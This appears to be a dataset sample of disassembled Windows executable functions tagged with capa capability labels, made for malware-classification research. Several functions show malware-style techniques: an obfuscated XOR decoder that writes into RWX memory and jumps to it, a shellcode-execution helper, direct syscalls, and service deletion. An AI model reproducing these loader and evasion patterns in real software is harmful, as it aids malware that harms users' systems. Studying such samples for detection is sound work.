joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b150
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
lea eax, [ebp - 4]
push 1
push eax
xor edi, edi
call fcn.00417e18
pop ecx
pop ecx
test eax, eax
je 0x41b25d
lea eax, [ebp - 0xc]
push eax
push 0x2001f
push edi
push 0x439f80
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b25d
push esi
lea eax, [ebp - 8]
push eax
push 0x439fa8
push dword [ebp - 4]
call fcn.0041911d
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
add esp, 0xc
test eax, eax
jne 0x41b1e9
lea eax, [ebp - 8]
push eax
push 0x439fb4
push dword [ebp - 0xc]
call fcn.0041911d
add esp, 0xc
test eax, eax
je 0x41b1e9
push dword [ebp - 8]
push 0x439fc0
push dword [ebp - 4]
call fcn.00417f13
add esp, 0xc
test eax, eax
je 0x41b1e9
push 0x439fcc
push dword [ebp - 0xc]
call esi
inc edi
lea eax, [ebp - 8]
push eax
push 0x439fd8
push dword [ebp - 4]
call fcn.0041911d
add esp, 0xc
test eax, eax
jne 0x41b23d
lea eax, [ebp - 8]
push eax
push 0x439fe8
push dword [ebp - 0xc]
call fcn.0041911d
add esp, 0xc
test eax, eax
je 0x41b23d
push dword [ebp - 8]
push 0x439ff8
push dword [ebp - 4]
call fcn.00417f13
add esp, 0xc
test eax, eax
je 0x41b23d
push 0x43a008
push dword [ebp - 0xc]
call esi
xor edi, edi
inc edi
test edi, edi
jne 0x41b24c
push edi
push dword [ebp - 4]
call fcn.0041a43f
pop ecx
pop ecx
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 0xc]
call esi
pop esi
pop edi
leave
ret

Function at 0x41b43f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x448108], 0
push esi
push edi
jne 0x41b3b5
call fcn.0041b321
test eax, eax
je 0x41b3fa
mov eax, dword [0x448108]
cmp eax, 1
jne 0x41b3d6
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x41b3fa
jmp 0x41b43c
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x41b43c
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x41b3fe
xor eax, eax
jmp 0x41b43c
mov eax, dword [esi]
push dword [0x448108]
call edi
mov edi, eax
test edi, edi
je 0x41b420
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x41b43c
lea edi, [esi + 0xff0]
push esi
push dword [0x448108]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x41b426
mov eax, esi
pop edi
pop esi
ret
jmp 0x41b3a1

Function at 0x424012
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x446f40]
jne 0x42401c
repz ret
jmp fcn.0042b5e3
Function at 0x42b7a9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x446f40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00421cfa
and dword [ebp - 0x14], 0
cmp dword [0x448f84], 0
mov dword [ebp - 0x18], eax
jne 0x42b85c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x42b904
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x42b904
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x448f84], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x448f88], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x448f8c], eax
call edi
push eax
call esi
mov dword [0x448f94], eax
test eax, eax
je 0x42b85c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x448f90], eax
mov eax, dword [0x448f90]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x42b8b5
cmp dword [0x448f94], ecx
je 0x42b8b5
push eax
call esi
push dword [0x448f94]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x42b8b5
test ebx, ebx
je 0x42b8b5
call edi
test eax, eax
je 0x42b8ac
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x42b8ac
test byte [ebp - 8], 1
jne 0x42b8b5
or dword [ebp + 0x10], 0x200000
jmp 0x42b8e8
mov eax, dword [0x448f88]
cmp eax, dword [ebp - 0x18]
je 0x42b8e8
push eax
call esi
test eax, eax
je 0x42b8e8
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42b8e8
mov eax, dword [0x448f8c]
cmp eax, dword [ebp - 0x18]
je 0x42b8e8
push eax
call esi
test eax, eax
je 0x42b8e8
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x448f84]
call esi
test eax, eax
je 0x42b904
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x42b906
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00424012
leave
ret
Function at 0x481920
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push esi
push str.KEYS
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x48193b
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x48194a
pop esi
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0xc]
test eax, eax
mov dword [ecx], eax
jne 0x48195d
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
pop esi
ret

Function at 0x483b20
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x5025d7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.004837a0
xor edi, edi
lea ecx, [esi + 0x30]
mov dword [esp + 0x14], edi
call fcn.004d5ee2
lea ecx, [esi + 0x44]
mov byte [esp + 0x14], 1
call fcn.004d549e
lea ecx, [esi + 0x4c]
mov byte [esp + 0x14], 2
call fcn.004d549e
push 0xa
lea ecx, [esi + 0x54]
mov byte [esp + 0x18], 3
call fcn.004d6f78
push 0xa
lea ecx, [esi + 0x70]
mov byte [esp + 0x18], 4
call fcn.004d6f78
push 0xa
lea ecx, [esi + 0x8c]
mov byte [esp + 0x18], 5
call fcn.004d6f78
mov dword [esi + 0xa8], 0x51769c
mov dword [esi + 0xac], edi
mov dword [esi + 0xb0], 0x11
mov dword [esi + 0xb4], edi
mov dword [esi + 0xb8], edi
mov dword [esi + 0xbc], edi
mov dword [esi + 0xc0], 0xa
push 0xa
lea ecx, [esi + 0xcc]
mov byte [esp + 0x18], 7
call fcn.004d6934
mov dword [esi + 0xfc], edi
mov dword [esi + 0xf8], 0x50db74
xor eax, eax
xor ecx, ecx
mov dword [esi + 0xf0], eax
mov dword [esi + 0xe8], eax
mov byte [esp + 0x14], 9
mov dword [esi], 0x51766c
mov dword [esi + 0xf4], ecx
mov dword [esi + 0xec], ecx
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], edi
mov dword [esi + 0xc4], edi
mov dword [esi + 0xc8], edi
call fcn.004858a0
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x100], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x28], edi
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x403203
pop dword [ebp - 0x34]
mov eax, 0xad6a8e95
add eax, 0x52d5a36e
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xb9acd504
sub dword [ebp - 0x44], 0x6b5a8fb9
mov dword [ebp - 0x40], 0x81f1bc4e
add dword [ebp - 0x40], 0xb0418ff7
mov dword [ebp - 0x3c], 0x91b192a9
add dword [ebp - 0x3c], 0xba9ab185
mov dword [ebp - 0x38], 0xa1b8d07a
add dword [ebp - 0x38], 0x5e472f86
lea eax, [ebp - 0x44]
push eax
mov eax, 0x40706c1a
add eax, 0xbfd01472
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x1e2abc0d
add dword [ebp - 0x44], 0x5647ad49
mov dword [ebp - 0x40], 0x576c4dab
sub dword [ebp - 0x40], 0x15ffec36
mov dword [ebp - 0x3c], 0x44615ef3
add dword [ebp - 0x3c], 0x1f0e0d79
mov dword [ebp - 0x38], 0xb373e040
add dword [ebp - 0x38], 0x4c8c1fc0
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x33ae604e
sub eax, 0x336ddf7a
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3d315
push 0
call eax
mov ecx, 0xf5e1dd80
sub ecx, 0xf5e17b1b
mov esi, eax
mov edi, 0x3f31e594
sub edi, 0x3ef0d594
add edi, dword [ebp - 0x34]
mov ebx, 0xfd93f9db
sub ebx, 0xfcfb494d
mov edx, dword [edi]
sub dword [ebp - 0x10], 0xb2420a39
xor edx, ebx
add dword [ebp - 0x28], 0x125a7a3a
mov dword [esi], edx
sub dword [ebp - 4], ecx
add esi, 0x729202b6
sub esi, 0x729202b2
add edi, 0xc5b2ef53
sub edi, 0xc5b2ef4f
loop 0x403325
add eax, 0x6a446300
sub eax, 0x6a42e699
mov ebx, eax
add eax, 0xdac983d1
sub eax, 0xdac983cc
mov ecx, 0x409f9e70
add ecx, 0xbfa06190
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0xa68058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00a681a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa6807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa6806a
add dl, dl
jne 0xa68089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa680dc
xor eax, eax
add dl, dl
jne 0xa68096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa6817d
add dl, dl
jne 0xa680a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa680b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa680bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa680c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa680d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa68075
mov eax, 1
add dl, dl
jne 0xa680ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa680f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa680e1
sub eax, ebx
mov ebx, 1
jne 0xa68128
mov ecx, 1
add dl, dl
jne 0xa6810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa68119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa68105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa68075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa6813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa6814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa68136
cmp eax, 0x7d00
jae 0xa6816d
cmp eax, 0x500
jb 0xa68168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa68075
cmp eax, 0x7f
ja 0xa68170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa68075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa6819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa68075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x630370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x63038e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x659074
push ecx
mov edi, eax
call fcn.00644198
mov esi, eax
add esp, 8
test esi, esi
jne 0x6303cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0064402e
push esi
call fcn.00643fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x633850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x6338ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x65e720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6338ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.006441e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x6338ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x65e720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x63392a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00645082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x633957
mov word [eax], si
add eax, 2
push eax
call fcn.00645030
add esp, 4
jmp 0x633959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x6338ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x6338b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x633ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x634080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x6340c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x659458
push ecx
call fcn.006441e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.006441e1
add esp, 0x10
jmp 0x6340d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0064420b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00643dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00634050
mov eax, dword [0x65e728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x63413b
push esi
call fcn.00633fb0
add esp, 4
mov dword [0x65e728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x63414c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00633ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x637440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x6374b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x63748e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x637471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x63747e
add edx, ecx
cmp ebx, edx
jb 0x63748a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x637467
xor ecx, ecx
jmp 0x6374a2
test eax, eax
jne 0x637492
xor ecx, ecx
jmp 0x6374a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.006373c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x6378f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x637921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x637946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x63796e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x637993
push ecx
push esi
call fcn.006374c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x638c00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0x638c4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x638c2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0x638c38
add edx, eax
cmp ebx, edx
jb 0x638c46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0x638c21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0x638c50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0x638c70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x638cb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x638c9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x638ca8
add edx, ecx
cmp ebx, edx
jb 0x638cb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x638c91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x638f60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00645145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x638ffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x638fdd
lea eax, [esp + 0x18]
push eax
jmp 0x638fe2
push 0x65e720
call fcn.00644fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x638fb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x638f40
push 4
push ecx
push eax
call fcn.0064543f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x639310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00645145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x6393ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x63938d
lea eax, [esp + 0x18]
push eax
jmp 0x639392
push 0x65e720
call fcn.00644fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x639360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x638f40
push 4
push ecx
push eax
call fcn.0064543f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x63af20
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ecx
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
mov dword [esp + 4], ebp
je 0x63afd7
mov eax, dword [esp + 0xc]
push esi
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x63afcf
push ebx
push edi
push 0x65e770
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x63afae
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x65e770
push esi
call ebx
test eax, eax
je 0x63afae
mov ebp, 3
cmp dword [0x65e774], ebp
jne 0x63afaa
push 0x3e8
call edi
push 0x65e770
push esi
call ebx
test eax, eax
jne 0x63af8f
mov ebp, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call ebx
test eax, eax
jne 0x63afc6
push 0x64
call edi
push esi
call ebx
test eax, eax
je 0x63afbb
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
pop ecx
ret